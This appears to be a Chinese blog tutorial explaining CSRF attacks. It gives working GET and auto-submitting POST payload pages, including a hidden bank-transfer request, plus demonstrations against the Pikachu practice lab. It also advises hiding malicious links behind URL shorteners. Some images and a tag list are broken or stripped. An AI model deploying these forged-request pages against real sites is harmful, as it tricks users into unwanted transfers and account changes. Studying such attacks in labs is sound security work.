CSRF
什么是CSRF
CSRF(Cross-Site request forgery)跨站请求伪造,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。csrf是业务逻辑漏洞,利用了对关键操作缺少确认机制
你可以这么来理解:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
常见类型
GET上传
对于get类型的csrf其实很简单了,我们只需要构造一个虚假链接,在链接里面添加我们的目标payload就行比如
假设一个网站站点的转账url是
https://www.bank.com/withdraw?amount=1000?for=123
那么就可以payload写成如下形式
<!DOCTYPE html>
<html>
<body>
<h1>hacker的只因</h1>
<img src="https://www.bank.com/withdraw?amount=1000?for=ikun">
</body>
</html>
这就是一个攻击者页面的html,攻击者把转账的请求url隐藏到img标签下,欺骗浏览器这是一个图片的资源,当受害者点开该链接的时候,浏览器就会自动加载图片资源,发起img下的请求,同时的这个隐藏在img下的恶意的url也会通过浏览器发到银行网站服务器端,这时浏览器的cookie并没有过期,服务器就会认定为这个是一个正常的转账请求。
我们在pikachu上再理解一边
pikachu
登录界面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OUv5Y3Ms-1677053467841)(C:\Users\kangye li\AppData\Roaming\Typora\typora-user-images\image-20230219155919356.png)]
修改内容的url
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TFFfA8RL-1677053467841)(C:\Users\kangye li\AppData\Roaming\Typora\typora-user-images\image-20230219155953761.png)]
html
<a href="http://172.28.2.183/pikachu-master/vul/csrf/csrfget/csrf_get.php?sex=666&phonenum=&add=666&email=666&submit=submit"<hacker的只因</a>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HEIg2ONW-1677053467842)(C:\Users\kangye li\AppData\Roaming\Typora\typora-user-images\image-20230219161619184.png)]
点击链接修改成功
这里的链接可以用短链接来伪造,,这样的我们的恶意url就不会露出来了短链接助手 (4526.cn)
POST上传
这种就是表单提交:
<form action="http://a.com/pay" method=POST>
<input type="hidden" name="account" value="sisterAn" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>
访问该页面后,表单会自动提交,相当于模拟用户完成了一次 POST 操作。
pikachu的post的实例
搭建恶意网站
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://172.28.2.183/pikachu-master/vul/csrf/csrfget/csrf_get.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="123456789" />
<input id="add" type="text" name="add" value="hubei" />
<input id="email" type="text" name="email" value="lucy@163.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
修改前
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IcfAAlB3-1677053467842)(C:\Users\kangye li\AppData\Roaming\Typora\typora-user-images\image-20230219163312842.png)]
修改后
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MMv4Tkz7-1677053467842)(C:\Users\kangye li\AppData\Roaming\Typora\typora-user-images\image-20230219163342736.png)]
token验证
随机生成token时,有两种方式,一种是通过xss获取当前界面的token,与此同时构造恶意链接,另一种是直接利用burpsuite的CSRF token插件来进行自动更新token
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v4mJHr89-1677053467843)(C:\Users\kangye li\AppData\Roaming\Typora\typora-user-images\image-20230219164438441.png)]
常用标签
1.标签
通过src属性
2.标签
通过src属性
3.标签
通过src属性
4.标签
通过src属性
5.
6.标签
通过code属性
7.标签
通过data属性
8.标签
通过src属性
9.标签
通过src属性